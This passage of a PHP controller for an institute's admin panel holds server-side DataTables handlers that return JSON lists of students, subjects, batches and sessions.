    '.$post->course_name.'
    '; // $nestedData['SESSION'] = $post->start.'-'.$post->end; $nestedData['YEAR'] = ' '.@$post->BATCH_NAME .'
    '.@$post->CDL_NAME.''; /* $nestedData['MOTHER_NAME'] = $post->mother; $nestedData['DOB'] = $post->dob; $nestedData['MOBILE'] = $post->mobile; $nestedData['EMAIL'] = $post->email; $nestedData['ADDRESS'] = $post->address; */ $nestedData['CENTER_NAME'] = '
    '.$post->institute_name.'
    '; // $nestedData['STUDENT_ROLL_NO'] = $rollno; $nestedData['ACTION'] = ' '.$rollno.' '.$admit_card_status.'
    '.$download_admit_card.'
    '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function get_subject_by_category() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $category_id = $_POST['category_id']; $totalData = count_all_subject_list_by_category($category_id); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_subject_list_by_category($limit, $start, $order, $dir,$category_id); } else { $search = $this->input->post('search')['value']; $posts = subject_list_by_category_search($limit, $start, $search, $order, $dir,$category_id); $totalFiltered = subject_list_by_category_search_count($search,$category_id); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['CATEGORY_NAME'] = $post->CATEGORY_NAME; $nestedData['COURSE_NAME'] = $post->course_name.' '.$post->CDL_NAME.' '; $nestedData['DURATION'] = $post->CD_NAME; $nestedData['SUBJECT_NAME'] = $post->subject_name; $nestedData['SUBJECT_CODE'] = $post->SUBJECT_CODE; $nestedData['THEORY_MAX'] = $post->max_marks; $nestedData['THEORY_MIN'] = $post->min_marks; $nestedData['PRACTICAL_MAX'] = $post->practical_max_marks; $nestedData['PRACTICAL_MIN'] = $post->practical_min_marks; $nestedData['ACTION'] = ' UPDATE Remove '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function get_subject_by_course() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $category_id = $_POST['category_id']; $course_id = $_POST['course_id']; $totalData = count_all_subject_list_by_course($category_id,$course_id); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_subject_list_by_course($limit, $start, $order, $dir,$category_id,$course_id); } else { $search = $this->input->post('search')['value']; $posts = subject_list_by_course_search($limit, $start, $search, $order, $dir,$category_id,$course_id); $totalFiltered = subject_list_by_course_search_count($search,$category_id,$course_id); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['CATEGORY_NAME'] = $post->CATEGORY_NAME; $nestedData['COURSE_NAME'] = $post->course_name.' '.$post->CDL_NAME.' '; $nestedData['DURATION'] = $post->CD_NAME; $nestedData['SUBJECT_NAME'] = $post->subject_name; $nestedData['SUBJECT_CODE'] = $post->SUBJECT_CODE; $nestedData['THEORY_MAX'] = $post->max_marks; $nestedData['THEORY_MIN'] = $post->min_marks; $nestedData['PRACTICAL_MAX'] = $post->practical_max_marks; $nestedData['PRACTICAL_MIN'] = $post->practical_min_marks; $nestedData['ACTION'] = ' UPDATE Remove '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function get_subject_by_duration() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $category_id = $_POST['category_id']; $course_id = $_POST['course_id']; $duration_id = $_POST['duration']; $totalData = count_all_subject_list_by_duration($category_id,$course_id,$duration_id); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_subject_list_by_duration($limit, $start, $order, $dir,$category_id,$course_id,$duration_id); } else { $search = $this->input->post('search')['value']; $posts = subject_list_by_duration_search($limit, $start, $search, $order, $dir,$category_id,$course_id,$duration_id); $totalFiltered = subject_list_by_duration_search_count($search,$category_id,$course_id,$duration_id); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['CATEGORY_NAME'] = $post->CATEGORY_NAME; $nestedData['COURSE_NAME'] = $post->course_name.' '.$post->CDL_NAME.' '; $nestedData['DURATION'] = $post->CD_NAME; $nestedData['SUBJECT_NAME'] = $post->subject_name; $nestedData['SUBJECT_CODE'] = $post->SUBJECT_CODE; $nestedData['THEORY_MAX'] = $post->max_marks; $nestedData['THEORY_MIN'] = $post->min_marks; $nestedData['PRACTICAL_MAX'] = $post->practical_max_marks; $nestedData['PRACTICAL_MIN'] = $post->practical_min_marks; $nestedData['ACTION'] = ' UPDATE Remove '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function batch_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_batch_type(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_batch_type($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = batch_type_search($limit, $start, $search, $order, $dir); $totalFiltered = batch_type_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['BRAND_NAME'] = $post->BATCH_NAME; $nestedData['ACTION'] = 'Edit delete '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } public function session_list() { $columns = array( 0 => 'SR_NO', 1 => 'BRAND_NAME', 2 => 'BRAND_NAME', ); $limit = $this->input->post('length'); $start = $this->input->post('start'); $order = $columns[$this->input->post('order')[0]['column']]; $dir = $this->input->post('order')[0]['dir']; $company_id = '1'; $status = '1'; $totalData = count_all_session_type(); $totalFiltered = $totalData; if (empty($this->input->post('search')['value'])) { $posts = all_session_type($limit, $start, $order, $dir); } else { $search = $this->input->post('search')['value']; $posts = session_type_search($limit, $start, $search, $order, $dir); $totalFiltered = session_type_search_count($search); } $data = array(); if (!empty($posts)) { $i = $start + 1; foreach ($posts as $post) { $nestedData['SR_NO'] = $i; $nestedData['START'] = $post->start; $nestedData['END'] = $post->end; $nestedData['ACTION'] = 'Edit delete '; $i++; $data[] = $nestedData; } } $json_data = array( "draw" => intval($this->input->post('draw')), "recordsTotal" => intval($totalData), "recordsFiltered" => intval($totalFiltered), "data" => $data ); echo json_encode($json_data); } } ?>